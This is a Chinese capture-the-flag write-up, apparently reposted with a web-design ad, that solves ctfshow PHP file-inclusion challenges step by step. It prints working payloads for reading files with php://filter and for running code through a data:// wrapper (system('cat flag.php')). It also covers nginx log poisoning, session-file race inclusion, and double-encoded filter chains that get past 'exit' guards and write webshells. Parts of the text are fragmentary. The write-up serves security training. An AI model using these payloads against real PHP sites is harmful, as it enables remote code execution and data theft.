这篇文章将为大家详细讲解有关php中什么是ctfshow文件包含,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
站在用户的角度思考问题,与客户深入沟通,找到代县网站设计与代县网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:做网站、成都做网站、企业官网、英文网站、手机端网站、网站推广、域名注册、虚拟空间、企业邮箱。业务覆盖代县地区。
直接payload
?file=php://filter/read=convert.base64-encode/resource=flag.phpweb79~Data协议
过滤了 php ,所以不能用 php 开头的伪协议了。
可以使用 data协议·。
data:// — 数据(RFC 2397)
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效
受限于 allow_url_fopenNo
受限于 allow_url_includeYes
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===>web80~包含日志文件
过滤了
php
、data
,也就是 php 伪协议、data 协议。可以包含日志文件getshell
?file=/var/log/nginx/access.log抓包在 UA 字段换成想要的代码
,然后包含访问,就 getshell了。
web81~包含日志文件
payload:
?file=/var/log/nginx/access.log同样包含日志文件getshell,
web82~session文件竞争包含
这里把点过滤了,就不能包含日志文件了。
但是我们可以包含 session 文件。
poc:
把上述代码保存为html或者php文件后,在上传任意一个文件。抓包,在把cookie改为Cookie: PHPSESSID=flag
使得session文件为 /tmp/sess_flag
,然后设置null payload
开始一直上传。
紧接着抓取,
如图,包含?file=/tmp/sess_flag
文件,竞争,在没删除前访问到。
得到fl0g.php
,接下来构造上传文件包得到flag.竞争。
https://blog.csdn.net/qq_46091464/article/details/108021053
https://www.freebuf.com/vuls/202819.html
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14这里出现了
session_unset(); session_destroy();**session_unset()**:释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id; **session_destroy()**:删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留;说明上一关的利用方法已经不能使用了。
等等,。。。这两函数是在刚开始的,在接收函数之前,与上传临时文件也没关系,所以还是可以用上关方法的。。。。。。
web84~session文件竞争包含
在文件包含之前
rm -rf /tmp/*
删掉/tmp下所有文件,但同样存在条件竞争。web85~session文件竞争包含
0){ die("error"); } include($file); } }else{ highlight_file(__FILE__); }同样条件竞争。
web86~session文件竞争包含
define('INCLUDE_PATH','/include/');
set_include_path(INCLUDE);
这样当我们引用 include 中的文件 如 conn.php,smarty_config.php 时,我们直接可以这样写
include_once('conn.php');
include_once('smarty_config.php');
同样条件竞争。
总结一下条件竞争
linux本身删除 session_unset(); session_destroy(); system("rm -rf /tmp/*"); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); }web87~不同变量死亡绕过
".$content); }else{ highlight_file(__FILE__); }不同变量死亡绕过。
base64
就可以绕过/正好是
phpdie
正好是6个字节,加2为,4的倍数,正好可以bse64解码。构造
php://filter/write=convert.base64-decode/resource=1.php # url 两次编码之后 ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 # post传参 前面加 aa content=aaPD9waHAgcGhwaW5mbygpOz8+
利用string.rot13
过滤器构造:
php://filter/write=string.rot13/resource=2.php ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30 # post 传参 content=成功回显phpinfo();
还可以使用
string.strip_tags
过滤器。构造
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30 # post传入虽然
Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21但访问3.php,成功显示phpinfo页面。
可以参考这里
https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/
web88~data协议去等号
正则匹配黑名单。
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
实际上就是去掉base64后的=,作为填充使用,不影响结果
web118
misc+lfikali里面
binwalk
然后foremost
分离出一张png图片这里过滤了几个过滤器,常用的base64肯定不能用了。
因为header 定了
mp4
,所以他给我们返回的是这里直接
?file=flag.php但奈何页面只返回一个上图页面,本想着另存为,但保存不了。
那么就抓包看看响应包了。
直接出flag了。
但是我刚开始是F12抓包的,看到的是 编码后的flag,懵逼了一会,才看出了是base64,但没想到为啥。。。。
应该是返回base64编码解码成视频。。。
找到解码直接就是flag.
同样可以使用
convert.iconv.*
详情看这里 https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/
web117~不同变量死亡绕过USC
".$contents);死亡绕过不同变量
这里过滤了
base64
那就是base64-decode
了。过滤了
string
不能使用字符过滤器
了,但是
convert
还是可以使用转换过滤器
可以使用
convert.iconv.*
https://www.php.net/manual/en/filters.convert.php
原理:对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。
构造
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php # post contents=?? 可以看到原先的死亡语句已经变成了
?
?
https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/upload~固定后缀文件包含
题目来源:
https://www.amanctf.com/challenges/detail/id/5.html
打开题目啥也没有,F12,看到有
include.php
页面显示
Tips: the parameter is file! :)
传参
?file=1 # 回显 Tips: the parameter is file! :) Warning: include(1.php): failed to open stream: No such file or directory in /var/www/html/include.php on line 15 Warning: include(): Failed opening '1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/include.php on line 15文件包含,但是包含的文件被自动化加上了 后缀
.php
.f12看到还有
upload.php
访问是一个文件上传功能点。显然这道题考点文件上传+文件包含getshell。
测试这个功能点是可以上传的,但是只能上传jpg,gif等图片后缀格式。
做题做的有突然想到可以先文件包含看看题目源码。